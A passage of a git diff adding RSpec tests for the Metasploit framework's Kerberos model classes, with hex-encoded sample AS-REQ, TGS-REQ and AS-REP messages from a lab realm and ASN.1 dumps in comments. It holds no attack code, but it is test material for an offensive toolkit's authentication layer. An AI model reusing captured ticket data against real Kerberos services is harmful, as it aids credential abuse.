"\x18\xa1\x84\x71\x85\x98\x2f\x54\x8b\x56\xe3\xfb\x2c\xe2\x30\x84" + + "\x06\x55\x55\xea\x31\x8b\x84\x00\xe3\x1a\xc3\xa8\xc2\xac\xc0\x78" + + "\x3f\x47\x68\x74\xcc\x62\xa6\xcf\xf4\x6b\xae\xaf\x27\xde\x1a\x4d" + + "\xb7\xa8\x9f\x76\x7a\x79\x2a\x42\x12\x7b\xd2\xbe\xc9\x98\x7c\x44" + + "\x38\x40\xbd\x49\xcd\x3e\xdc\x65\xc7\x8b\x44\xf5\xa5\xd4\x66\x0e" + + "\xfd\x58\x9d\x31\x39\x27\xd7\xfc\x81\x07\xa3\x2a\x1c\x3c\xa4\x81" + + "\xa4\x30\x81\xa1\xa0\x03\x02\x01\x17\xa2\x81\x99\x04\x81\x96\x6d" + + "\xb5\xea\x35\x51\x26\x94\xf5\x31\x27\xd1\x00\x59\xed\x6c\xbc\x20" + + "\x2c\x89\x70\x7a\x14\x74\xc9\x05\x85\x07\xf7\x36\x53\xcd\x80\x6a" + + "\xa1\x62\xe6\x73\x3a\x7d\x71\x83\x1d\x93\xc6\x74\xc5\x6f\x7b\x71" + + "\x1d\xce\xd3\x0b\x46\x8b\xc1\x13\x56\xe7\xee\x8c\xa2\xcc\xa6\x78" + + "\xde\x7e\x80\x23\x39\x67\xd8\x2c\x3a\x6a\x12\x3e\x20\xc5\xaa\xd0" + + "\xae\xd5\x5e\xb6\x7c\x83\x66\xfc\xc5\x65\x1e\xea\x62\x97\x48\x68" + + "\xda\x8e\x62\x7c\x06\x35\x7d\xc5\x33\x25\xbc\x93\x8a\x64\x16\x2d" + + "\xf4\xde\x7c\x56\xd0\x3b\x13\x4f\x2f\x86\x75\x14\x60\x80\x4d\x77" + + "\xeb\x04\x08\xe6\x41\x20\xee\x16\x0f\xe2\x2b\x76\xd5\x14\x60\x2d" + + "\xf6\xa8\xde\xf2\xb5\x30\x11\xa1\x04\x02\x02\x00\x80\xa2\x09\x04" + + "\x07\x30\x05\xa0\x03\x01\x01\x00\xa4\x82\x03\x1c\x30\x82\x03\x18" + + "\xa0\x07\x03\x05\x00\x50\x80\x00\x00\xa2\x0c\x1b\x0a\x44\x45\x4d" + + "\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x1f\x30\x1d\xa0\x03\x02\x01\x01" + + "\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45" + + "\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa4\x11\x18\x0f\x31\x39\x37\x30" + + "\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30\x5a\xa5\x11\x18\x0f\x31" + + "\x39\x37\x30\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30\x5a\xa6\x11" + + "\x18\x0f\x31\x39\x37\x30\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30" + + "\x5a\xa7\x06\x02\x04\x7a\x5f\xfa\xac\xa8\x05\x30\x03\x02\x01\x17" + + "\xaa\x82\x02\x94\x30\x82\x02\x90\xa0\x03\x02\x01\x17\xa2\x82\x02" + + "\x87\x04\x82\x02\x83\x8a\x30\x9d\x7c\xa7\xe4\x22\x36\x0d\x44\xf5" + + "\xd1\x3a\x00\x8b\x37\x6e\x52\x20\xbc\xea\x8b\x70\x66\xc0\x90\xc4" + + "\x28\x27\x31\xcf\x16\x2c\x7c\x20\x7c\xaa\x3c\xe0\xc7\x6a\xfb\xb9" + + "\x41\xb2\xd9\xa2\xd8\x59\x92\xb5\x82\x17\x8a\x93\x56\x51\x97\xf9" + + "\xad\x1d\xc6\xc6\xbc\xa0\x44\x9b\xc5\xc1\xd8\x31\xf1\x94\x88\x37" + + "\x0b\xa5\xaf\x51\xb0\x3d\x9a\x6d\xc0\xb2\xf1\x20\x33\xb7\x87\x7a" + + "\xcf\xf7\xde\xa0\x8b\x83\xae\x76\x71\x38\x7d\x42\x4d\xde\x0a\x03" + + "\xbe\xb7\x1c\xf4\x8c\x84\x16\x35\x2e\x60\xc4\x83\x17\x71\xe7\x00" + + "\x23\xfb\xa1\x01\xd3\xda\xe0\x7f\xcd\x04\x3d\x53\x85\x4e\x72\x09" + + "\x63\xf4\x06\xd8\x51\x15\xab\x15\xec\x4f\x80\xc5\xf3\xe2\x8a\x7f" + + "\x97\x0f\x71\xed\x0c\xe9\x9f\x19\x14\x6b\x3d\x94\x4a\xae\x3e\xb8" + + "\x1a\x33\xc4\x56\xcf\x36\xf8\x56\x0a\xe9\xaf\x5c\xb5\x42\x40\x72" + + "\xde\xd5\x95\x37\xa0\xe5\x93\xc3\x32\xef\x82\x0a\x0f\x1e\x0a\x75" + + "\x20\xb6\x8d\xfc\xe2\xce\xb3\x87\xdf\xa5\x04\x67\xf4\x30\x1a\x0a" + + "\x19\x38\x46\x5a\x58\x46\xf4\x34\xba\xdb\x46\x4e\xc4\xcc\xaa\xbc" + + "\x24\x85\xa5\x24\x84\x96\xa4\x75\x43\x46\x7f\x11\xce\x47\x9f\xfa" + + "\x84\xce\xb6\x35\xcd\x95\x1e\x1d\x03\x88\x1d\xe3\x3a\x53\x9b\xa5" + + "\x1b\x97\x83\xcf\xb3\x9e\x88\x08\x86\x6d\x48\x98\xec\x8d\x83\x42" + + "\xae\xc9\x92\x56\xd5\xa9\x90\x03\x47\xb8\xd7\x81\xf4\x6e\x1e\x6d" + + "\x73\x8a\x3a\xc6\x0f\xb1\x38\x99\x4f\x06\x04\x11\x7d\xa3\x39\x34" + + "\xa9\x9e\x8e\x48\xcc\x64\xf3\x33\x3c\x0b\x88\x3e\x42\xf8\x74\x3e" + + "\x92\x68\x67\x26\xeb\x46\xaa\xc8\x31\x77\x4b\xb1\x57\xef\x49\xd3" + + "\x98\xf5\x53\xc0\x58\x19\x26\xb7\x1b\x8c\x17\x77\xbc\xe0\x20\xe9" + + "\x80\x08\xe5\x92\x27\x72\x53\x20\x09\xc6\x39\x02\x97\x4b\x0a\x54" + + "\x8c\x2d\x0c\xbd\x65\x9c\x61\x54\xef\x90\x6d\xc6\x56\x62\xc8\x04" + + "\xd7\x6b\x23\xd1\xb0\xc7\xe7\xe5\x36\x96\x05\xf9\x46\x01\xc1\xac" + + "\x0c\x96\x84\xaa\x6c\x84\x58\xde\xad\xe7\x32\x85\x2c\xfd\x27\x1a" + + "\xdc\x39\x60\xbc\x5e\x0d\x7e\x1d\x65\x7f\x21\xfa\xcd\xc3\x30\xb3" + + "\xee\x00\xc9\xf8\x1e\x0f\xb5\x67\x87\xa0\xaf\x46\xe3\x55\xff\x0c" + + "\x0c\x63\x8e\xdb\xd9\x11\x9c\x17\x5a\x87\xb0\xf2\x51\x56\x62\x7f" + + "\x7e\x64\x53\xaf\x04\x77\xfb\xec\xa7\x96\x98\x93\x96\x10\x39\x72" + + "\xf0\x44\xfa\x66\x7f\x00\xe0\xe9\x9f\x36\xbc\x81\x87\x2e\xfb\x6d" + + "\xc0\x9b\x52\xb2\x19\xa5\xbf\x8c\x0f\x33\x19\x0b\x41\xce\xf5\x6f" + + "\x6f\xd7\x2b\x04\xe0\xa7\xad\x40\x32\x8d\xf3\xbe\x13\xc7\xc6\x21" + + "\xed\x23\x10\xc5\x1a\x9f\x82\x99\x62\x37\x71\xe4\xb8\x69\x0a\xa8" + + "\x88\xeb\xcb\xc0\x1c\xdf\x54\x6f\x4c\x43\x90\x12\xcf\x29\xb0\xf1" + + "\xc9\xfd\x4b\x5e\x44\x08\x25\x8d\x64\x45\x3e\xbc\x7e\xb1\x67\x80" + + "\xc3\x39\x1e\xe8\xbf\xe0\x90\x70\xf8\x00\xcf\x18\x29\xab\x72\x01" + + "\x0c\x43\x02\x0b\x81\x7b\x1a\xac\xf5\x25\x33\x53\x86\xf5\x25\xef" + + "\x7f\x1d\x1d\x05\x3f\x12\x38\x4a\x3f\x98\x03\xc8\x9f\xf3\x9b\x87" + + "\x80\xb2\x4f\xcd\x3d\x3d\x58\xb5" + end + + describe "#decode" do + context "when AS-REQ" do + it "returns the Rex::Proto::Kerberos::Model::KdcRequest decoded" do + expect(kdc_request.decode(sample_as_req)).to eq(kdc_request) + end + + it "decodes msg_type correctly" do + kdc_request.decode(sample_as_req) + expect(kdc_request.msg_type).to eq(as_req) + end + + it "decodes pvno correctly" do + kdc_request.decode(sample_as_req) + expect(kdc_request.pvno).to eq(5) + end + + it "decodes req_body correctly" do + kdc_request.decode(sample_as_req) + expect(kdc_request.req_body.cname.name_string).to eq(['juan']) + end + + it "decodes pa_data correctly" do + kdc_request.decode(sample_as_req) + expect(kdc_request.pa_data.length).to eq(2) + end + + it "decodes PA-ENC-TIMESTAMP type correctly" do + kdc_request.decode(sample_as_req) + expect(kdc_request.pa_data[0].type).to eq(2) + end + + it "decodes PA-PAC-REQUEST type correctly" do + kdc_request.decode(sample_as_req) + expect(kdc_request.pa_data[1].type).to eq(128) + end + end + + context "when TGS-REQ" do + it "returns the Rex::Proto::Kerberos::Model::KdcRequest decoded" do + expect(kdc_request.decode(sample_tgs_req)).to eq(kdc_request) + end + + it "decodes msg_type correctly" do + kdc_request.decode(sample_tgs_req) + expect(kdc_request.msg_type).to eq(tgs_req) + end + + it "decodes pvno correctly" do + kdc_request.decode(sample_tgs_req) + expect(kdc_request.pvno).to eq(5) + end + + it "decodes req_body correctly" do + kdc_request.decode(sample_tgs_req) + expect(kdc_request.req_body.sname.name_string).to eq(["krbtgt", "DEMO.LOCAL"]) + end + + it "decodes pa_data correctly" do + kdc_request.decode(sample_tgs_req) + expect(kdc_request.pa_data.length).to eq(2) + end + + it "decodes PA-TGS-REQ type correctly" do + kdc_request.decode(sample_tgs_req) + expect(kdc_request.pa_data[0].type).to eq(1) + end + + it "decodes PA-PAC-REQUEST type correctly" do + kdc_request.decode(sample_tgs_req) + expect(kdc_request.pa_data[1].type).to eq(128) + end + + end + end + + describe "#encode" do + context "when AS-REQ" do + it "re-encodes a KdcRequest correctly" do + kdc_request.decode(sample_as_req) + expect(kdc_request.encode).to eq(sample_as_req) + end + end + + context "when TGS-REQ" do + it "re-encodes a KdcRequest correctly" do + kdc_request.decode(sample_tgs_req) + expect(kdc_request.encode).to eq(sample_tgs_req) + end + end + end + +end diff --git a/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb new file mode 100644 index 0000000000..901ab60f7d --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb @@ -0,0 +1,346 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::KdcResponse do + + subject(:kdc_response) do + described_class.new + end + + let(:msg_type) { 11 } + let(:as_decrypt_msg_type) { 8 } + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007fb67a878ec0 + @infinite_length=false, + @tag=11, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb67a878ee8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb67a879c30 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a879c58 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a879c80>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879b90 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a879bb8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a879be0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879af0 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fb67a879b18 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a8798c0 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb67a8798e8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb67a879a00 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a879a28 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a879a50>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879910 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb67a879938 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fb67a879960 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="juan">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879190 + @infinite_length=false, + @tag=5, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb67a8791b8 + @infinite_length=false, + @tag=1, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb67a8791e0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb67a8797a8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a8797d0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a8797f8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879708 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fb67a879730 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879488 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb67a8794b0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb67a879618 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a879640 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a879668>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a8794d8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb67a879500 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fb67a879578 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007fb67a879528 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879208 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb67a879230 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb67a879398 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a8793c0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a8793e8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a8792f8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a879320 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a879348>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879258 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007fb67a879280 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "U\xE7E\xC3o\xA2(G\xAB\x9C\x86\x13\xEB\x1D\xA8\x98\xECg\x1C\x1F\x15Fk\xE0J\xF2M=\xF7\xE41zO\x15/`\xDD\x98\xA8\xE1\x97ko\xC1$Fl\xA9\x1E\xE26'\xE3\xFA\x99\f\x9Bw\f\xE2X\x02h\xC4T*,]lK\xC8\xBC\x04\x8F\nD'x\xDCK>\x01\xBE\xAC\xF7\x8EzP\xC6>w\xD9e$\xD5\x1A\x18\xA1\x84q\x85\x98/T\x8BV\xE3\xFB,\xE20\x84\x06UU\xEA1\x8B\x84\x00\xE3\x1A\xC3\xA8\xC2\xAC\xC0x?Ght\xCCb\xA6\xCF\xF4k\xAE\xAF'\xDE\x1AM\xB7\xA8\x9Fvzy*B\x12{\xD2\xBE\xC9\x98|D8@\xBDI\xCD>\xDCe\xC7\x8BD\xF5\xA5\xD4f\x0E\xFDX\x9D19'\xD7\xFC\x81\a\xA3*\x1C<">]>]>]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a878f10 + @infinite_length=false, + @tag=6, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb67a878f38 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb67a8790a0 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a8790c8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a8790f0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a879000 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb67a879028 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb67a879050>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb67a878f60 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007fb67a878f88 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "\x80\ax6\x16\xC5gc\x83;\xF8Bf\x8A\xEB\xE9\xFE\xBA\x82\x82\x1F=\x15O[p\x19\\\xE2\x02\xD6\xA5\x87S\xBFw#[2)\xDES\xE6\x9D\xE9\xA58qB\xF7\xFE\x93;0O\xBD\x86\xCD+\x88\x84\xB7@v&\xFE\xD69\xA0i\xA3F\x86\xC6\xDF\x1D\xB2\n\x91\xC5lUV\xFE\xFB\xCELWtl*\xFC\xBCnz\x19v \xE8a\xC2\x99\xD0\x85s\x99\xC5\x19X^\xAE\xC4\xBB\x14\xAC7\xC9\x80\xAA\xD4\x9D\x12\xC67R\xB7\xF0l+\xED\xFC\xEB\xF6? \xBDQ\x92M\t\xE5\x877\xA7\xFAZ=\x01v\xF3\a\xB1\x98'\xB5\xAC\xB7\x98\xA4\xA6w\xF1\xA3\xF9\xF1\x9FN\x8E\x9Cm\x1AY\f\x9D\xC6;\xA9rSm\xD5\x1D\x00\\*\xE8\xC8\xC4\xB8\x9C\x1F\x05\x9AF\xE7\xA9\xBAx\xA9\xA5\r\x90\xB9\xA8=\x9D\xC2d\xE7\x8C\xE0\xDA\x82\xE8\xD0<\xD6\xEB\xC4\x06\xF5\x19\x9E4rF\x12\xBA\x06Zu\x95\x01{5@2\xA2\\\a!B'\xE0\xDC\x9B\xFCG">]>]>]>]>]> +=end + let(:as_response) do + "\x6b\x82\x02\x53\x30\x82\x02\x4f\xa0\x03\x02\x01" + + "\x05\xa1\x03\x02\x01\x0b\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c" + + "\x4f\x43\x41\x4c\xa4\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1\x08\x30" + + "\x06\x1b\x04\x6a\x75\x61\x6e\xa5\x82\x01\x10\x61\x82\x01\x0c\x30" + + "\x82\x01\x08\xa0\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f" + + "\x2e\x4c\x4f\x43\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1" + + "\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d" + + "\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x81\xd1\x30\x81\xce\xa0\x03\x02" + + "\x01\x17\xa1\x03\x02\x01\x02\xa2\x81\xc1\x04\x81\xbe\x55\xe7\x45" + + "\xc3\x6f\xa2\x28\x47\xab\x9c\x86\x13\xeb\x1d\xa8\x98\xec\x67\x1c" + + "\x1f\x15\x46\x6b\xe0\x4a\xf2\x4d\x3d\xf7\xe4\x31\x7a\x4f\x15\x2f" + + "\x60\xdd\x98\xa8\xe1\x97\x6b\x6f\xc1\x24\x46\x6c\xa9\x1e\xe2\x36" + + "\x27\xe3\xfa\x99\x0c\x9b\x77\x0c\xe2\x58\x02\x68\xc4\x54\x2a\x2c" + + "\x5d\x6c\x4b\xc8\xbc\x04\x8f\x0a\x44\x27\x78\xdc\x4b\x3e\x01\xbe" + + "\xac\xf7\x8e\x7a\x50\xc6\x3e\x77\xd9\x65\x24\xd5\x1a\x18\xa1\x84" + + "\x71\x85\x98\x2f\x54\x8b\x56\xe3\xfb\x2c\xe2\x30\x84\x06\x55\x55" + + "\xea\x31\x8b\x84\x00\xe3\x1a\xc3\xa8\xc2\xac\xc0\x78\x3f\x47\x68" + + "\x74\xcc\x62\xa6\xcf\xf4\x6b\xae\xaf\x27\xde\x1a\x4d\xb7\xa8\x9f" + + "\x76\x7a\x79\x2a\x42\x12\x7b\xd2\xbe\xc9\x98\x7c\x44\x38\x40\xbd" + + "\x49\xcd\x3e\xdc\x65\xc7\x8b\x44\xf5\xa5\xd4\x66\x0e\xfd\x58\x9d" + + "\x31\x39\x27\xd7\xfc\x81\x07\xa3\x2a\x1c\x3c\xa6\x82\x01\x0c\x30" + + "\x82\x01\x08\xa0\x03\x02\x01\x17\xa1\x03\x02\x01\x01\xa2\x81\xfb" + + "\x04\x81\xf8\x80\x07\x78\x36\x16\xc5\x67\x63\x83\x3b\xf8\x42\x66" + + "\x8a\xeb\xe9\xfe\xba\x82\x82\x1f\x3d\x15\x4f\x5b\x70\x19\x5c\xe2" + + "\x02\xd6\xa5\x87\x53\xbf\x77\x23\x5b\x32\x29\xde\x53\xe6\x9d\xe9" + + "\xa5\x38\x71\x42\xf7\xfe\x93\x3b\x30\x4f\xbd\x86\xcd\x2b\x88\x84" + + "\xb7\x40\x76\x26\xfe\xd6\x39\xa0\x69\xa3\x46\x86\xc6\xdf\x1d\xb2" + + "\x0a\x91\xc5\x6c\x55\x56\xfe\xfb\xce\x4c\x57\x74\x6c\x2a\xfc\xbc" + + "\x6e\x7a\x19\x76\x20\xe8\x61\xc2\x99\xd0\x85\x73\x99\xc5\x19\x58" + + "\x5e\xae\xc4\xbb\x14\xac\x37\xc9\x80\xaa\xd4\x9d\x12\xc6\x37\x52" + + "\xb7\xf0\x6c\x2b\xed\xfc\xeb\xf6\x3f\x20\xbd\x51\x92\x4d\x09\xe5" + + "\x87\x37\xa7\xfa\x5a\x3d\x01\x76\xf3\x07\xb1\x98\x27\xb5\xac\xb7" + + "\x98\xa4\xa6\x77\xf1\xa3\xf9\xf1\x9f\x4e\x8e\x9c\x6d\x1a\x59\x0c" + + "\x9d\xc6\x3b\xa9\x72\x53\x6d\xd5\x1d\x00\x5c\x2a\xe8\xc8\xc4\xb8" + + "\x9c\x1f\x05\x9a\x46\xe7\xa9\xba\x78\xa9\xa5\x0d\x90\xb9\xa8\x3d" + + "\x9d\xc2\x64\xe7\x8c\xe0\xda\x82\xe8\xd0\x3c\xd6\xeb\xc4\x06\xf5" + + "\x19\x9e\x34\x72\x46\x12\xba\x06\x5a\x75\x95\x01\x7b\x35\x40\x32" + + "\xa2\x5c\x07\x21\x42\x27\xe0\xdc\x9b\xfc\x47" + end + + describe "#decode" do + context "when AS Response" do + it "returns the Rex::Proto::Kerberos::Model::KdcResponse decoded" do + expect(kdc_response.decode(as_response)).to eq(kdc_response) + end + + it "decodes msg_type correctly" do + kdc_response.decode(as_response) + expect(kdc_response.msg_type).to eq(msg_type) + end + + it "decodes crealm correctly" do + kdc_response.decode(as_response) + expect(kdc_response.crealm).to eq('DEMO.LOCAL') + end + + it "decodes crealm correctly" do + kdc_response.decode(as_response) + expect(kdc_response.cname.name_string).to eq(['juan']) + end + + it "retrieves the ticket" do + kdc_response.decode(as_response) + expect(kdc_response.ticket.realm).to eq('DEMO.LOCAL') + end + + it "retrieves the encrypted part" do + kdc_response.decode(as_response) + expect(kdc_response.enc_part.cipher.length).to eq(248) + end + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb b/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb new file mode 100644 index 0000000000..864feac4ef --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb @@ -0,0 +1,377 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::KrbError do + + subject(:krb_error) do + described_class.new + end + + let(:msg_type) { 30 } + let(:error_code_generic) { 60 } + let(:error_code_pre_auth) { 24 } + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbc370 + @infinite_length=false, + @tag=30, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff1f7cbc4b0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbd770 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f7cbd810 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f7cbd838>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbd568 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f7cbd5e0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f7cbd6a8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbd338 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff1f7cbd360 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2014-12-14 06:54:01 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbd0b8 + @infinite_length=false, + @tag=5, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f7cbd1a8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f7cbd248>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbcd70 + @infinite_length=false, + @tag=6, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f7cbce10 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f7cbd018>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbcb18 + @infinite_length=false, + @tag=9, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff1f7cbcb40 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbc4d8 + @infinite_length=false, + @tag=10, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff1f7cbc550 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbc910 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f7cbc960 + @infinite_length=false, + 